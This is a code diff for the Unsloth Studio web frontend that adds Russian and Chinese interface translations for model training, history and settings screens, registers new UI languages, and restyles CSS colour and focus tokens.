+      starting: "Запуск...",
+      loadingModel: "Загрузка модели...",
+      checkingDataset: "Проверка датасета...",
+      configLabel: "Конфигурация обучения",
+      upload: "Загрузить",
+      uploadConfigTooltip: "Загрузить сохранённую конфигурацию YAML",
+      save: "Сохранить",
+      saveConfigTooltip: "Скачать текущую конфигурацию как YAML",
+      reset: "Сбросить",
+      resetConfigTooltip: "Сбросить к значениям модели по умолчанию",
+      configLoaded: "Конфигурация загружена",
+      failedToLoadConfig: "Не удалось загрузить конфигурацию",
+      invalidYamlFile: "Недопустимый файл YAML",
+      failedToReadFile: "Не удалось прочитать файл",
+      parametersReset: "Параметры сброшены к значениям модели по умолчанию",
+      audioIncompatible:
+        "Эта модель не поддерживает аудио. Переключитесь на модель с поддержкой аудио или выберите не-аудио датасет.",
+      visionIncompatible:
+        "Текстовая модель несовместима с мультимодальным датасетом. Переключитесь на модель зрения или выберите текстовый датасет.",
+      cancelTitle: "Отменить обучение",
+      cancelDescription: "Вы хотите отменить текущий запуск обучения?",
+      continueAction: "Продолжить обучение",
+      cancelAction: "Отменить обучение",
+      stopTitle: "Остановить обучение",
+      stopDescription: "Выберите, как остановить текущий запуск обучения.",
+      stopAction: "Остановить",
+      stopping: "Остановка...",
+      stopAndSave: "Остановить и сохранить",
+      compareInChat: "Сравнить в чате",
+      exportModel: "Экспортировать модель",
+      milestone: "Веха",
+      halfwayDone: "Половина позади. Обучение прошло 50%.",
+      doneNextStep:
+        "Обучение завершено. Следующий шаг: сравните выводы базовой и дообученной модели.",
+    },
+    history: {
+      title: "История",
+      emptyTitle: "Пока нет запусков обучения",
+      emptyDescription:
+        "Пока нет запусков обучения. Запустите первое обучение на вкладке «Настройка».",
+      loadError: "Не удалось загрузить запуски обучения",
+      deleteError: "Не удалось удалить запуск обучения. Повторите попытку.",
+      retry: "Повторить",
+      loadMore: "Загрузить ещё",
+      loading: "Загрузка...",
+      loadingRun: "Загрузка запуска обучения...",
+      runNotFound: "Запуск не найден",
+      deleteTitle: "Удалить запуск обучения?",
+      deleteDescription:
+        "Это безвозвратно удалит этот запуск обучения и все его метрики. Это действие нельзя отменить.",
+      runCount: "{count} запусков",
+      oneRun: "1 запуск",
+      resume: "Продолжить",
+      resumeTraining: "Продолжить обучение",
+      resuming: "Продолжение...",
+      deleteRun: "Удалить запуск",
+      loss: "Loss",
+      steps: "Шаги",
+      lossTrendSparkline: "Спарклайн тренда loss",
+      relativeJustNow: "только что",
+      relativeMinutesAgo: "{count} мин назад",
+      relativeHoursAgo: "{count} ч назад",
+      relativeDaysAgo: "{count} дн назад",
+      status: {
+        completed: "Завершено",
+        stopped: "Остановлено",
+        error: "Ошибка",
+        running: "Выполняется",
+        continued: "Продолжено",
+      },
+      message: {
+        completed: "Обучение завершено",
+        stopped: "Обучение остановлено",
+        running: "Обучение выполняется",
+        errored: "Ошибка обучения",
+      },
+      copyPreviewLink: "Копировать ссылку предпросмотра",
+      previewLinkCopied: "Ссылка предпросмотра скопирована",
+      previewLinkCopyFailed: "Не удалось скопировать ссылку",
+    },
+    charts: {
+      settings: "Настройки графика",
+      settingsDescription:
+        "Настройте отображение графика, пока обучение продолжается.",
+      openSettings: "Открыть настройки графика",
+      viewWindow: "Окно просмотра",
+      viewWindowDescription: "Показывать только последние шаги или всю историю.",
+      window: "Окно",
+      all: "Все",
+      trainingLoss: "Loss обучения",
+      trainingLossDescription: "Управление наложениями и EMA-сглаживанием.",
+      smoothing: "Сглаживание",
+      smoothingDescription: "Двигайте вправо для большего сглаживания. `0` = без обработки.",
+      showRawLoss: "Показывать сырой loss",
+      showSmoothedLoss: "Показывать сглаженный loss",
+      showAverageLine: "Показывать линию среднего",
+      scaleAndCleanup: "Масштаб и очистка",
+      linear: "Линейный",
+      log: "Логарифмический",
+      noClip: "Без обрезки",
+      clipP99: "Обрезка p99",
+      clipP95: "Обрезка p95",
+      lossAxis: "Ось loss",
+      gradientNormAxis: "Ось нормы градиента",
+      learningRateAxis: "Ось скорости обучения",
+      resetDefaults: "Сбросить к умолчанию",
+      loss: "Loss",
+      smoothed: "Сглажено",
+      evalLoss: "Eval Loss",
+      learningRate: "Скорость обучения",
+      lr: "LR",
+      gradNorm: "Норма градиента",
+      gradientNorm: "Норма градиента",
+      step: "Шаг {step}",
+      averageValue: "среднее {value}",
+      waitingForFirstEvaluationStep: "Ожидание первого шага оценки...",
+      evaluationNotConfigured: "Оценка не настроена",
+      evalChartWillAppear: "График появится по достижении eval_steps",
+      setEvalDatasetAndSteps:
+        "Задайте датасет для оценки и eval_steps для отслеживания eval loss",
+    },
+    progress: {
+      title: "Прогресс обучения",
+      liveMetrics: "Метрики обучения в реальном времени",
+      exportGguf: "Экспортировать в GGUF",
+      openConfig: "Открыть конфигурацию обучения",
+      configLabel: "Конфигурация обучения",
+      hyperparams: "Гиперпараметры",
+      epochs: "Эпохи",
+      batchSize: "Размер батча",
+      learningRate: "Скорость обучения",
+      optimizer: "Оптимизатор",
+      maxSteps: "Макс. шагов",
+      contextLength: "Длина контекста",
+      warmupSteps: "Шаги прогрева",
+      rank: "Ранг",
+      alpha: "Alpha",
+      dropout: "Dropout",
+      variant: "Вариант",
+      epoch: "Эпоха {value}",
+      percentComplete: "{percent}% завершено",
+      stepProgress: "Шаг {current} / {total}",
+      loss: "Loss",
+      lr: "LR",
+      gradNorm: "Норма градиента",
+      project: "Проект",
+      model: "Модель",
+      method: "Метод",
+      elapsed: "Прошло: {value}",
+      eta: "Осталось: {value}",
+      stepsPerSecond: "{value} шаг/с",
+      noStepsPerSecond: "-- шаг/с",
+      tokens: "Токены: {value}",
+      gpuMonitor: "Монитор GPU",
+      live: "В реальном времени",
+      utilization: "Загрузка",
+      temperature: "Температура",
+      vram: "VRAM",
+      power: "Мощность",
+      phase: {
+        idle: "Простой",
+        downloadingModel: "Загрузка модели",
+        downloadingDataset: "Загрузка датасета",
+        loadingModel: "Загрузка модели",
+        loadingDataset: "Загрузка датасета",
+        configuring: "Настройка",
+        training: "Обучение",
+        completed: "Завершено",
+        error: "Ошибка",
+        stopped: "Остановлено",
+      },
+    },
+    trainingStart: {
+      ready: "Готово",
+      downloading: "Загрузка",
+      preparing: "Подготовка",
+      left: "осталось {eta}",
+      downloaded: "загружено {size}",
+      terminalStart: "> обучение unsloth начинается...",
+      preparingResources: "> Подготовка модели и датасета...",
+      gettingReady: "> Мы готовим всё для вашего запуска...",
+      waitingForFirstStep: "> {message} | ожидание первого шага... ({step})",
+      resumingTraining: "Продолжение обучения...",
+      startingTraining: "начало обучения...",
+      dataset: "Датасет",
+      datasetStreaming: "Датасет: потоковая передача (без полной загрузки)",
+      modelWeights: "Веса модели",
+    },
+    tour: {
+      guidedTour: "Обзорный тур",
+    },
+  },
+} satisfies DeepPartialMessageTree<typeof en>;
diff --git a/studio/frontend/src/i18n/locales/zh-CN.ts b/studio/frontend/src/i18n/locales/zh-CN.ts
index 5fd31dc7cb..eb962cc8d4 100644
--- a/studio/frontend/src/i18n/locales/zh-CN.ts
+++ b/studio/frontend/src/i18n/locales/zh-CN.ts
@@ -22,6 +22,9 @@ export const zhCN = {
     shutdown: "关闭服务",
   },
   shell: {
+    beta: "BETA",
+    brand: "unsloth",
+    product: "Unsloth Studio",
     accountMenu: "{name} 账号菜单",
     updateAvailable: "有可用更新",
     aria: {
@@ -36,11 +39,12 @@ export const zhCN = {
       returnToChat: "返回聊天",
       compare: "对比",
       search: "搜索",
-      hub: "Hub",
+      hub: "模型",
       train: "训练",
       recipes: "配方",
       export: "导出",
       recents: "最近",
+      noChatsYet: "暂无对话",
       settings: "设置",
       api: "API",
       lightMode: "浅色模式",
@@ -87,15 +91,19 @@ export const zhCN = {
       title: "设置",
       description: "管理你的 Unsloth Studio 偏好设置。",
       closeAriaLabel: "关闭设置",
+      searchPlaceholder: "搜索设置…",
+      searchNoResults: "未找到设置。",
     },
     tabs: {
       general: "通用",
       profile: "个人资料",
       appearance: "外观",
+      resources: "系统",
       chat: "聊天",
       connections: "连接",
       apiKeys: "API",
       about: "关于",
+      voice: "语音",
     },
     general: {
       title: "通用",
@@ -105,9 +113,9 @@ export const zhCN = {
       huggingFaceTokenDescription: "用于加载受限模型和推送产物。",
       hideToken: "隐藏 token",
       showToken: "显示 token",
-      tokenSaved: "Token 已保存",
+      tokenValidated: "Token 已验证",
       password: "密码",
-      passwordDescription: "更改此 Studio 账号的密码。",
+      passwordDescription: "更改此 Unsloth 账号的密码。",
       passwordDialog: {
         trigger: "更改密码",
         title: "更改密码",
@@ -127,6 +135,51 @@ export const zhCN = {
       chatDefaults: "聊天默认设置",
       autoTitleNewChats: "自动为新聊天命名",
       autoTitleNewChatsDescription: "根据第一条消息生成简短标题。",
+      helperLlm: {
+        sectionTitle: "辅助 LLM",
+        preloadOnStartup: "启动时预缓存辅助 LLM",
+        preloadOnStartupDescription:
+          "启动时在后台下载 AI Assist 辅助模型。默认关闭；AI Assist 仍可按需获取。",
+        disabledByEnv:
+          "已由后端环境中的 UNSLOTH_HELPER_MODEL_DISABLE 禁用。",
+        loadError: "加载辅助 LLM 设置失败。",
+        saveError: "保存辅助 LLM 设置失败。",
+      },
+      modelAutoSwitch: {
+        sectionTitle: "模型自动切换（OpenAI API）",
+        enable: "按请求切换模型",
+        enableDescription:
+          "当兼容 OpenAI 的请求指定了另一个已下载的 GGUF 时，先加载它再提供服务。默认关闭；未知名称将继续使用已加载的模型。",
+        idleUnload: "空闲自动卸载",
+        idleUnloadDescription:
+          "空闲达到该秒数后卸载模型以释放 VRAM；下次请求会重新加载。设为 0 则保持加载。最小 60 秒。",
+        idleNeedsEnable:
+          "开启“按请求切换模型”，以便已卸载的模型在下次使用时重新加载。",
+        idleActiveViaEnv:
+          "空闲自动卸载已通过 UNSLOTH_MODEL_IDLE_TTL 环境变量启用。",
+        loadError: "加载模型自动切换设置失败。",
+        saveError: "保存模型自动切换设置失败。",
+        idleError: "输入 0 保持模型加载，或输入至少 60 秒。",
+      },
+      previewSharing: {
+        sectionTitle: "预览分享",
+        enableLabel: "公开预览链接",
+        enableDescription:
+          "让任何持有签名链接的人无需登录即可与完成的模型聊天。关闭后将下线公开预览界面；已分享的链接将失效。",
+        loadError: "加载预览分享设置失败。",
+        saveError: "保存预览分享设置失败。",
+        revokeLabel: "撤销所有预览链接",
+        revokeDescription:
+          "轮换签名密钥，使你分享过的所有链接失效。新复制的链接仍可用。",
+        revokeAction: "撤销链接",
+        revoking: "撤销中...",
+        revokeConfirmTitle: "撤销所有预览链接？",
+        revokeConfirmDescription:
+          "你分享过的每个预览链接都将立即失效。此操作无法撤销。",
+        revokeConfirmAction: "撤销所有链接",
+        revoked: "所有预览链接已撤销",
+        revokeError: "无法撤销预览链接",
+      },
       notifications: {
         sectionTitle: "通知",
         showLlamaUpdates: "llama.cpp 更新通知",
@@ -141,7 +194,31 @@ export const zhCN = {
         sectionTitle: "上传",
         maxUploadSize: "训练数据集上传上限",
         maxUploadSizeDescription:
-          "适用于训练数据集上传。默认值为 {defaultSize} MB。",
+          "默认值为 {defaultSize} MB。",
+      },
+      rag: {
+        sectionTitle: "文档与 RAG",
+        embeddingModel: "Embedding 模型",
+        embeddingModelDescription:
+          "用于为文档建立索引和搜索的 Hugging Face 模型或本地路径。默认值为 {defaultModel}。",
+        reindexWarning:
+          "仅影响新建立索引的文档。更改模型后请重新上传已有文档。",
+        emptyError: "请输入 Hugging Face 模型 ID 或本地路径。",
+        loadError: "加载 embedding 模型设置失败。",
+        saveError: "保存 embedding 模型失败。",
+        saved: "Embedding 模型已保存。",
+        saveAnyway: "仍然保存",
+        resetAction: "重置为默认值",
+      },
+      storage: {
+        sectionTitle: "存储",
+        modelsFolder: "模型文件夹",
+        modelsFolderDescription: "已下载模型的存储位置。",
+        openAction: "打开",
+        copyAction: "复制路径",
+        copied: "路径已复制",
+        openError: "无法打开文件夹",
+        copyError: "无法复制路径",
       },
       resetPreferences: {
         sectionTitle: "危险区域",
@@ -157,7 +234,7 @@ export const zhCN = {
     },
     profile: {
       title: "个人资料",
-      description: "更新你在 Unsloth 中显示的个人资料。",
+      description: "你的个人资料在 Unsloth 中的显示方式。",
       changePicture: "更换头像",
       displayName: "显示名称",
       nickname: "Unsloth 应该怎么称呼你？",
@@ -166,7 +243,11 @@ export const zhCN = {
       avatarShape: "头像形状",
       avatarShapeCircle: "圆形",
       avatarShapeRounded: "圆角矩形",
-      chooseSloth: "或选择一只树懒",
+      greetingSloth: "问候语中显示树懒",
+      greetingSlothDescription: "在对话问候语中显示树懒。",
+      chooseSloth: "或选择一只树懒作为头像",
+      noPicture: "无头像",
+      noneLabel: "无",
       nameSaved: "个人资料名称已保存",
       namePersistErrorTitle: "无法持久保存个人资料名称",
       namePersistErrorDescription:
@@ -185,6 +266,7 @@ export const zhCN = {
         title: "语言",
         label: "显示语言",
         description: "选择 Unsloth 使用的语言。",
+        autoDetect: "自动检测",
       },
       theme: {
         title: "主题",
@@ -194,15 +276,170 @@ export const zhCN = {
         light: "浅色",
         dark: "深色",
       },
+      palette: {
+        label: "调色板",
+        description: "Unsloth 全局使用的配色，支持浅色和深色模式。",
+        standard: "标准",
+        classic: "经典",
+        minimal: "极简",
+      },
+      custom: {
+        reset: "重置",
+        resetAll: "重置自定义",
+        preferencesTitle: "偏好设置",
+        colors: {
+          lightGroup: "浅色主题",
+          darkGroup: "深色主题",
+          accent: "强调色",
+          background: "背景",
+          foreground: "前景",
+        },
+        fontDefault: "默认",
+        fontBundledGroup: "内置",
+        fontImportedGroup: "已导入",
+        fontDeviceGroup: "此设备",
+        fontFolderGroup: "来自文件夹",
+        fontDeviceLoading: "正在查找设备字体…",
+        fontSearch: "搜索字体…",
+        fontNoResults: "未找到字体。",
+        colorPicker: {
+          hue: "色相",
+          hex: "十六进制颜色",
+          eyedropper: "从屏幕取色",
+        },
+        uiFont: {
+          label: "界面字体",
+        },
+        headingFont: {
+          label: "标题字体",
+        },
+        chatFont: {
+          label: "聊天字体",
+        },
+        codeFont: {
+          label: "代码字体",
+        },
+        importFont: {
+          upload: "上传",
+          scanFolder: "选择文件夹",
+          alreadyAvailable: "该字体已可用，将使用现有字体。",
+          folderNoFonts: "在该文件夹中未找到字体文件。",
+          remove: "移除",
+          errorInvalidType:
+            "不支持的文件类型。请使用 .woff2、.woff、.ttf 或 .otf。",
+          errorTooLarge: "字体文件过大（最大 1.5 MB）。",
+          errorLimit: "最多可导入 3 个字体。",
+          errorStorageFull: "本地存储空间不足。请先删除一个已导入的字体。",
+          errorFailed: "无法加载此字体文件。",
+        },
+        uiFontSize: {
+          label: "界面字号",
+          description: "调整 Unsloth 界面的基准字号。",
+        },
+        codeFontSize: {
+          label: "代码字号",
+          description: "调整代码的基准字号。",
+        },
+        fontSmoothing: {
+          label: "字体平滑",
+          description: "使用平滑的字体抗锯齿。",
+        },
+        contrast: {
+          label: "对比度",
+          description: "边框和次要文本的强度。",
+        },
+        reduceMotion: {
+          label: "减少动态效果",
+          description: "减少动画，或跟随系统设置。",
+          system: "跟随系统",
+          on: "开",
+          off: "关",
+        },
+        pointerCursors: {
+          label: "使用指针光标",
+          description: "悬停在可交互元素上时将光标变为指针。",
+        },
+      },
       layout: {
         title: "布局",
         compactSidebar: "默认固定侧边栏",
         compactSidebarDescription: "保持侧边栏展开，而不是折叠为图标。",
       },
+      sidebarMenu: {
+        title: "侧边栏菜单",
+        description:
+          "显示、隐藏和重新排序侧边栏个人菜单中的项目。设置、帮助、退出登录和关闭保持固定。",
+        darkModeToggle: "深色模式切换",
+        dragToReorder: "拖动以重新排序",
+      },
+    },
+    resources: {
+      title: "系统",
+      description: "监控此 Unsloth 服务器的硬件和存储。",
+      liveUpdates: "实时更新",
+      floatingWindow: "悬浮窗口",
+      disableOverlay: "禁用悬浮层",
+      liveMonitor: {
+        title: "实时监控",
+        cpu: "CPU",
+        ram: "RAM",
+        disk: "磁盘",
+        vram: "VRAM",
+        cpuCores: "{logical} 逻辑核心 / {physical} 物理核心",
+        currentLoad: "当前负载",
+        free: "{value} 可用",
+        noGpu: "无可见 GPU",
+      },
+      gpu: {
+        title: "GPU 设备",
+        noGpu: "未检测到可见 GPU。上方仅显示 CPU 资源。",
+        unknownDevice: "未知 GPU",
+        deviceWithIndex: "GPU {index}",
+        vramUtilization: "VRAM",
+        used: "已用 {value}",
+        free: "{value} 可用",
+        total: "共 {value}",
+      },
+      storage: {
+        title: "存储",
+        systemDisk: "系统磁盘",
+        diskUsage: "已用 {used} / {total}",
+        diskFree: "{free} 可用",
+        modelsFolder: "模型文件夹",
+        modelsFolderDescription: "已下载模型的存储位置。",
+        openAction: "打开",
+        copyAction: "复制路径",
+        copied: "路径已复制",
+        openError: "无法打开文件夹",
+        copyError: "无法复制路径",
+      },
+      environment: {
+        title: "环境",
+        backend: "后端",
+        python: "Python",
+        torch: "Torch",
+        transformers: "Transformers",
+        uptime: "运行时长",
+        processMemory: "进程内存",
+        notInstalled: "未安装",
+        unknown: "未知",
+      },
     },
     chat: {
       title: "聊天",
       description: "管理此设备上保存的聊天记录。",
+      modelDisclaimer: "显示模型免责声明",
+      modelDisclaimerDescription:
+        "在聊天框下方显示“LLM 可能会出错”。",
+      artifacts: {
+        title: "Canvas",
+        collapseHtmlBlocks: "折叠 HTML 块",
+        collapseHtmlBlocksDescription:
+          "Canvas 模式会自动折叠完整 HTML。开启此项可在关闭 Canvas 时也折叠代码块中的 HTML 文档。",
+        allowNetworkAccess: "允许 Canvas 访问网络",
+        allowNetworkAccessDescription:
+          "允许 Canvas 预览从 CDN 加载脚本、样式、字体、媒体和网络资源。若需完全离线预览请保持关闭。",
+      },
       data: "数据",
       exportHistory: "导出聊天记录",
       exportHistoryDescription: "将所有聊天和消息下载为 JSON 文件。",
@@ -266,7 +503,6 @@ export const zhCN = {
       description: "通过兼容 OpenAI 的 API 以编程方式访问 Unsloth。",
       readDocs: "阅读 API 文档",
       noAccess: "还没有 API 访问权限。",
-      newBadge: "新",
       accessTokens: "访问 token",
       loadError: "无法加载 API 访问权限。",
       createError: "无法创建访问 token。",
@@ -284,8 +520,10 @@ export const zhCN = {
       usageTools: "工具",
       exampleCurlTools: "curl + 工具",
       examplePythonTools: "Python + 工具",
+      exampleJavaScriptTools: "JavaScript + 工具",
       exampleCurlAdvanced: "curl + 高级",
       examplePythonAdvanced: "Python + 高级",
+      exampleJavaScriptAdvanced: "JavaScript + 高级",
       osUnix: "Linux / macOS / WSL",
       osWindows: "Windows",
       secureHttps: "安全 HTTPS",
@@ -296,6 +534,12 @@ export const zhCN = {
       copy: "复制",
       copied: "已复制",
       setupDocs: "设置文档：",
+      codingAgents: "编程智能体",
+      codingAgentsHint:
+        "针对此服务器启动编程智能体。它会使用已加载的模型；本地服务器会自动生成 API 密钥，远程服务器则会将其包含在命令中。",
+      codingAgentsSwap: "可将 claude 替换为 codex、openclaw、opencode、hermes 或 pi。",
+      codingAgentDetected: "已安装在本机",
+      codingAgentsDetectedHint: "本机检测到：{agents}。",
       relativeNever: "从未",
       relativeJustNow: "刚刚",
       relativeHoursAgo: "{count} 小时前",
@@ -437,12 +681,12 @@ export const zhCN = {
       searchModels: "搜索模型...",
       searching: "搜索中...",
       noModelsFound: "未找到模型",
-      needsVram: "约需 {vram}GB 显存（GPU：{gpu}GB）",
-      tightVram: "约 {vram}GB 显存（在 {gpu}GB 上偏紧）",
-      vramEstimate: "约 {vram}GB 显存",
+      needsVram: "约需 {vram}GB VRAM（GPU：{gpu}GB）",
+      tightVram: "约 {vram}GB VRAM（在 {gpu}GB 上偏紧）",
+      vramEstimate: "约 {vram}GB VRAM",
       method: "方法",
       methodTooltip:
-        "QLoRA 使用 4 位量化以最大限度降低显存。LoRA 使用 16 位。Full 会更新所有权重。CPT（持续预训练）在原始文本上训练，使模型适配新领域，不使用聊天格式。",
+        "QLoRA 使用 4 位量化以最大限度降低 VRAM。LoRA 使用 16 位。Full 会更新所有权重。CPT（持续预训练）在原始文本上训练，使模型适配新领域，不使用聊天格式。",
       readMore: "了解更多",
       fullFineTune: "全量微调",
       checkingToken: "正在检查 token...",
@@ -528,7 +772,7 @@ export const zhCN = {
         accessKeyId: "访问密钥 ID",
         accessKeyIdPlaceholder: "AKIAIOSFODNN7EXAMPLE",
         secretAccessKey: "秘密访问密钥",
-        secretAccessKeyPlaceholder: "您的 AWS 秘密访问密钥",
+        secretAccessKeyPlaceholder: "你的 AWS 秘密访问密钥",
         useIamRole: "使用 IAM 角色",
         useIamRoleTooltip: "使用 IAM 角色凭证而非访问密钥（推荐用于 EC2/SageMaker）",
         testConnection: "测试连接",
@@ -604,9 +848,9 @@ export const zhCN = {
         cosine: "余弦",
       },
       batchSize: "批大小",
-      batchSizeTooltip: "每步处理的样本数。越高占用越多显存。",
+      batchSizeTooltip: "每步处理的样本数。越高占用越多 VRAM。",
       gradAccum: "梯度累积",
-      gradAccumTooltip: "在不增加显存的情况下模拟更大的批大小。",
+      gradAccumTooltip: "在不增加 VRAM 的情况下模拟更大的批大小。",
       weightDecay: "权重衰减",
       weightDecayTooltip: "L2 正则化，用于防止过拟合。",
       warmupSteps: "预热步数",
@@ -620,7 +864,7 @@ export const zhCN = {
       seed: "随机种子",
       seedTooltip: "用于复现的随机种子。",
       gradCheckpoint: "梯度检查点",
-      gradCheckpointTooltip: "通过重算激活以时间换显存。",
+      gradCheckpointTooltip: "通过重算激活以时间换 VRAM。",
       none: "无",
       standard: "标准",
       enablePacking: "启用 packing",
@@ -657,7 +901,8 @@ export const zhCN = {
       continueAction: "继续训练",
       cancelAction: "取消训练",
       stopTitle: "停止训练",
-      stopDescription: "选择如何停止当前训练运行。",
+      stopDescription:
+        "选择如何停止当前训练运行。“停止并保存”会写入检查点，之后可从该处恢复；“停止”则无法恢复。",
       stopAction: "停止",
       stopping: "停止中...",
       stopAndSave: "停止并保存",
@@ -706,6 +951,9 @@ export const zhCN = {
         running: "训练进行中",
         errored: "训练出错",
       },
+      copyPreviewLink: "复制预览链接",
+      previewLinkCopied: "预览链接已复制",
+      previewLinkCopyFailed: "无法复制链接",
     },
     charts: {
       settings: "图表设置",
@@ -749,6 +997,7 @@ export const zhCN = {
     progress: {
       title: "训练进度",
       liveMetrics: "实时训练指标",
+      exportGguf: "导出为 GGUF",
       openConfig: "打开训练配置",
       configLabel: "训练配置",
       hyperparams: "超参数",
@@ -809,6 +1058,7 @@ export const zhCN = {
       resumingTraining: "正在继续训练...",
       startingTraining: "正在开始训练...",
       dataset: "数据集",
+      datasetStreaming: "数据集：流式传输（无需完整下载）",
       modelWeights: "模型权重",
     },
     tour: {
diff --git a/studio/frontend/src/i18n/messages.ts b/studio/frontend/src/i18n/messages.ts
index 23db2ce326..ead94a966e 100644
--- a/studio/frontend/src/i18n/messages.ts
+++ b/studio/frontend/src/i18n/messages.ts
@@ -6,23 +6,44 @@ import { en } from "./locales/en";
 import { zhCN } from "./locales/zh-CN";
 import { ptBR } from "./locales/pt-br";
 import { ja } from "./locales/ja";
+import { es } from "./locales/es";
+import { hi } from "./locales/hi";
+import { ar } from "./locales/ar";
+import { fr } from "./locales/fr";
+import { ru } from "./locales/ru";
+import { de } from "./locales/de";
+import { ko } from "./locales/ko";
 import type { InterpolationValues, MessageKey } from "./types";
 
 export const LOCALES = {
   en: { label: "English", nativeLabel: "English" },
   "zh-CN": { label: "Chinese (Simplified)", nativeLabel: "简体中文" },
+  ja: { label: "Japanese", nativeLabel: "日本語" },
+  ko: { label: "Korean", nativeLabel: "한국어" },
+  es: { label: "Spanish", nativeLabel: "Español" },
   "pt-BR": { label: "Portuguese (Brazil)", nativeLabel: "Português (Brasil)" },
-  "ja": { label: "Japanese", nativeLabel: "日本語" },
+  fr: { label: "French", nativeLabel: "Français" },
+  de: { label: "German", nativeLabel: "Deutsch" },
+  ru: { label: "Russian", nativeLabel: "Русский" },
+  hi: { label: "Hindi", nativeLabel: "हिन्दी" },
+  ar: { label: "Arabic", nativeLabel: "العربية" },
 } as const;
 
 export type Locale = keyof typeof LOCALES;
 export type TranslationKey = MessageKey<typeof en>;
 
-export const messages = { 
-  en, 
+export const messages = {
+  en,
   "zh-CN": zhCN,
+  ja,
+  ko,
+  es,
   "pt-BR": ptBR,
-  ja
+  fr,
+  de,
+  ru,
+  hi,
+  ar,
 } as const;
 
 const PLACEHOLDER_PATTERN = /\{([a-zA-Z0-9_]+)\}/g;
@@ -56,7 +77,8 @@ function interpolate(
 }
 
 function warnMissingEnglishMessage(key: string): void {
-  if (import.meta.env.DEV) {
+  // Optional chain so translate() also works outside Vite (Node tooling).
+  if (import.meta.env?.DEV) {
     console.warn(`[i18n] Missing English translation for key "${key}".`);
   }
 }
@@ -82,4 +104,4 @@ export function isSupportedLocale(value: unknown): value is Locale {
     typeof value === "string" &&
     Object.prototype.hasOwnProperty.call(LOCALES, value)
   );
-}
\ No newline at end of file
+}
diff --git a/studio/frontend/src/index.css b/studio/frontend/src/index.css
index a14643fefd..0cba3407fe 100644
--- a/studio/frontend/src/index.css
+++ b/studio/frontend/src/index.css
@@ -101,7 +101,8 @@
 	h3,
 	[data-slot="dialog-title"],
 	[data-slot="alert-dialog-title"] {
-		font-family: "Hellix", "Space Grotesk Variable", var(--font-sans) !important;
+		/* Via the token so the heading-font setting applies here too. */
+		font-family: var(--font-heading) !important;
 		font-weight: 500 !important;
 	}
 }
@@ -164,14 +165,22 @@
 	--secondary-foreground: oklch(0.2868 0.0649 159.9823);
 	--muted: oklch(0.9702 0 0);
 	--muted-foreground: oklch(0.5486 0 0);
-	--accent: oklch(0.9596 0.0275 167.8295);
-	--accent-foreground: oklch(0.2868 0.0649 159.9823);
+	/* Hover/active washes are neutral grey (matches the sidebar), not the
+	   brand green; green stays on primary controls only. */
+	--accent: #ececec;
+	--accent-foreground: #262626;
 	--destructive: oklch(0.6368 0.2078 25.3313);
 	/* Bypass permissions accent: bright, saturated yellow (not dark gold). */
 	--bypass: #c99d00;
 	--border: oklch(0.9208 0.0101 164.8536);
 	--input: oklch(0.9208 0.0101 164.8536);
-	--ring: #17b88b;
+	--ring: #262626;
+	/* Focus and selection indicators: the element's own border, darker.
+	   Derived from the live border/foreground tokens so every palette and
+	   mode gets the right shade from these definitions. Focus/hover uses the
+	   soft shade; selected state uses the deeper one (still never black). */
+	--ring-soft: color-mix(in srgb, var(--foreground) 22%, var(--border));
+	--ring-select: color-mix(in srgb, var(--foreground) 48%, var(--border));
 	--chart-1: #17b88b;
 	--chart-2: oklch(0.694 0.1395 136.6059);
 	--chart-3: oklch(0.7014 0.1193 197.5897);
@@ -184,10 +193,10 @@
 	--sidebar-foreground: oklch(0.1281 0.0179 169.2764);
 	--sidebar-primary: #17b88b;
 	--sidebar-primary-foreground: oklch(1 0 0);
-	--sidebar-accent: oklch(0.96 0.0279 166.55);
-	--sidebar-accent-foreground: oklch(0.2868 0.0649 159.9823);
+	--sidebar-accent: #ececec;
+	--sidebar-accent-foreground: #262626;
 	--sidebar-border: #f2f2f2;
-	--sidebar-ring: #17b88b;
+	--sidebar-ring: #262626;
 	--destructive-foreground: oklch(1 0 0);
 	--font-sans: "Inter Variable", ui-sans-serif, sans-serif, system-ui;
 	--font-heading: "Hellix", "Space Grotesk Variable", var(--font-sans);
@@ -258,6 +267,18 @@
 	--chat-icon-fg-hover: var(--foreground);
 	--chat-icon-bg-hover: #ededec;
 
+	/* Control accent: switches, "New" badges, notification-style chips.
+	   Follows the brand accent by default; palettes that keep their primary
+	   neutral (Classic) override this so small controls still get a hue.
+	   References resolve at use, so .dark's --primary flows through. */
+	--control-accent: var(--primary);
+	--control-accent-foreground: var(--primary-foreground);
+
+	/* Status color for meaning-carrying marks (verified badges, token
+	   indicators). Pinned to the brand green in every palette and mode so
+	   the signal never changes with the theme. */
+	--verified: #17b88b;
+
 	/* Standard interactive-icon size for nav, menus, action bars, and
 	   in-message code-block actions. Sized one step above body text so
 	   icons read as minimally larger than adjacent labels (~14px text).
@@ -271,48 +292,48 @@
 }
 
 .dark {
-	/* Exact palette from apps/studio/index_chat.html mockup. Using hex so the
-	   rendered surface matches the mockup pixel-for-pixel — OKLCH conversion
-	   drifted ~3% darker and shifted the neutral hue. */
-	/* Slightly darker than --sidebar so the sidebar reads as its own surface. */
-	--background: #1a1b1e;
-	--foreground: #ececee;
-	--card: #2d2e32;
-	--card-foreground: #ececee;
-	--popover: #2d2e32;
-	--popover-foreground: #ececee;
+	/* Dark surfaces shared by ALL palettes: #181818 page, elevated #1f1f1f
+	   sidebar, #212121 cards. Palette dark blocks override only accent
+	   tokens so dark mode stays consistent across themes. */
+	--background: #181818;
+	--foreground: #ececec;
+	--card: #212121;
+	--card-foreground: #ececec;
+	--popover: #212121;
+	--popover-foreground: #ececec;
 	--primary: #17b88b;
 	--primary-foreground: oklch(1 0 0);
-	--secondary: #2e3035;
-	--secondary-foreground: #ececee;
-	--muted: #2e3035;
-	--muted-foreground: #999999;
+	--secondary: #242424;
+	--secondary-foreground: #ececec;
+	--muted: #242424;
+	--muted-foreground: #9b9b9b;
 	/* One step lighter than --popover so menu item hover reads clearly. */
-	--accent: #3a3d43;
-	--accent-foreground: #ececee;
+	--accent: #2e2e2e;
+	--accent-foreground: #ececec;
 	--destructive: oklch(0.6368 0.2078 25.3313);
 	/* Bypass permissions accent: bright, saturated neon yellow on dark. */
 	--bypass: #ffd60a;
 	/* --border / --input one step lighter than --muted so outlines and form
 	   borders stay visible on muted surfaces (right config panel, export
 	   tiles, quant chips) and keep subtle contrast on card. */
-	--border: #3a3d42;
-	--input: #3a3d42;
-	--ring: #17b88b;
+	--border: #303030;
+	--input: #303030;
+	--ring: #ececec;
 	--chart-1: oklch(0.7511 0.1407 166.2284);
 	--chart-2: oklch(0.75 0.14 136.5572);
